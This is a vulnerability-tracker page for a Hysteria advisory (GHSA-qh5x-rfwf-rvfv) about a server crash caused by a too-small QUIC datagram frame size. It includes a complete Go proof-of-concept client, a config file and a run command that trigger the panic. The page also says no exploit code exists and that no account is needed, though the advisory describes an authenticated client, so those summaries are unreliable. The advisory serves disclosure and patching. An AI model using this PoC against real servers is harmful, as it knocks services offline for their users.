Skip to content
Noroxi
OSV ecosystem advisory

GHSA-qh5x-rfwf-rvfv: Hysteria vulnerable to server crash when max_datagram_frame_size very small

HighCVSS 7.5 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 30/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: github.com/apernet/hysteria (Go) 2.9.2.

Low priority for now. Upgrade to github.com/apernet/hysteria (Go) 2.9.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process. ### Details The vulnerable path is the normal server-side UDP response path: ```text udpSessionEntry.receiveLoop -> sendMessageAutoFrag -> frag.FragUDPMessage ``` In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls: ```go fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize)) ``` However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size: ```go maxPayloadSize := maxSize - m.HeaderSize() ``` If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics: ```go frag.Data = fullPayload[off : off+payloadSize] ``` ### PoC poc.yaml ```yaml listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: udp-frag-panic-poc masquerade: type: string string: content: nope statusCode: 404 ``` poc.go ```go //go:build poc package main import ( "bytes" "context" "crypto/tls" "encoding/binary" "flag" "fmt" "io" "net" "net/http" "net/url" "time" "github.com/apernet/quic-go" "github.com/apernet/quic-go/http3" "github.com/apernet/quic-go/quicvarint" ) const ( authHost = "hysteria" authPath = "/auth" authOK = 233 ) func main() { server := flag.String("server", "127.0.0.1:8443", "Hysteria server address") auth := flag.String("auth", "", "Hysteria auth/password") target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server") maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client") insecure := flag.Bool("insecure", true, "skip TLS verification") echo := flag.Bool("echo", true, "start a local UDP echo server on --target") flag.Parse() if *auth == "" { panic("--auth is required") } if *echo { closeEcho := startUDPEcho(*target) defer closeEcho() } conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram) defer cleanup() msg := hysteriaUDPMessage(1, *target, []byte("X")) fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n", *target, udpHeaderSize(*target), len(msg), *maxDatagram) if err := conn.SendDatagram(msg); err != nil { panic(fmt.Errorf("send trigger datagram: %w", err)) } fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage") ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() if _, err := conn.ReceiveDatagram(ctx); err != nil { fmt.Printf("[*] receive after trigger: %v\n", err) } else { fmt.Println("[!] received a response; try a smaller --max-datagram") } } func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { panic(err) } udpConn, err := net.ListenUDP("udp", nil) if err != nil { panic(err) } transport := &quic.Transport{Conn: udpConn} var qconn *quic.Conn rt := &http3.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure}, QUICConfig: &quic.Config{ EnableDatagrams: true, MaxDatagramFrameSize: maxDatagram, DisablePathManager: true, }, Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) { qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg) return qconn, err }, } req := &http.Request{ Method: http.MethodPost, Host: authHost, URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath}, Header: http.Header{}, Body: io.NopCloser(bytes.NewReader(nil)), } req.Header.Set("Hysteria-Auth", auth) req.Header.Set("Hysteria-CC-RX", "0") ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() resp, err := rt.RoundTrip(req.WithContext(ctx)) if err != nil { panic(err) } defer resp.Body.Close() if resp.StatusCode != authOK { panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode)) } if resp.Header.Get("Hysteria-UDP") == "false" { panic("server reports UDP disabled") } cleanup := func() { _ = rt.Close() _ = transport.Close() _ = udpConn.Close() if qconn != nil { _ = qconn.CloseWithError(0, "") } } return qconn, cleanup } func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte { buf := make([]byte, udpHeaderSize(addr)+len(data)) binary.BigEndian.PutUint32(buf[0:4], sessionID) // PacketID=0, FragID=0, FragCount=1. buf[7] = 1 i := len(quicvarint.Append(buf[:8], uint64(len(addr)))) i += copy(buf[i:], addr) copy(buf[i:], data) return buf } func udpHeaderSize(addr string) int { return 8 + quicvarint.Len(uint64(len(addr))) + len(addr) } func startUDPEcho(addr string) func() { pc, err := net.ListenPacket("udp", addr) if err != nil { panic(fmt.Errorf("start UDP echo on %s: %w", addr, err)) } fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr()) go func() { buf := make([]byte, 2048) for { n, raddr, err := pc.ReadFrom(buf) if err != nil { return } _, _ = pc.WriteTo(buf[:n], raddr) } }() return func() { _ = pc.Close() } } ``` poc.sh ```bash go run -tags poc ./poc_udp_frag_panic.go \ --server 127.0.0.1:8443 \ --auth udp-frag-panic-poc \ --insecure \ --target 127.0.0.1:19090 \ --max-datagram 20 ``` ### Impact Server crash

Published
Jun 26, 2026
Updated
Jul 7, 2026
EPSS
—

Report tools

JSON

Action score

30

Monitor

Low priority for now.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-qh5x-rfwf-rvfv

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Gogithub.com/apernet/hysteria

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/apernet/hysteriafrom 0—
Gogithub.com/apernet/hysteriabefore 2.9.22.9.2

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GHSA-jqc5-2p7q-fqfcHysteria: http large header with sniff cause server DoS
    30Monitor
  • GO-2026-5807Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria
    0Monitor
  • GO-2026-5813Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:github.com/apernet/hysteria2.9.2Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Variant candidates

Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.

  • GHSA-jqc5-2p7q-fqfc0 days apartHysteria: http large header with sniff cause server DoS
    30Monitor

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
none
Availability
high · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
None
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records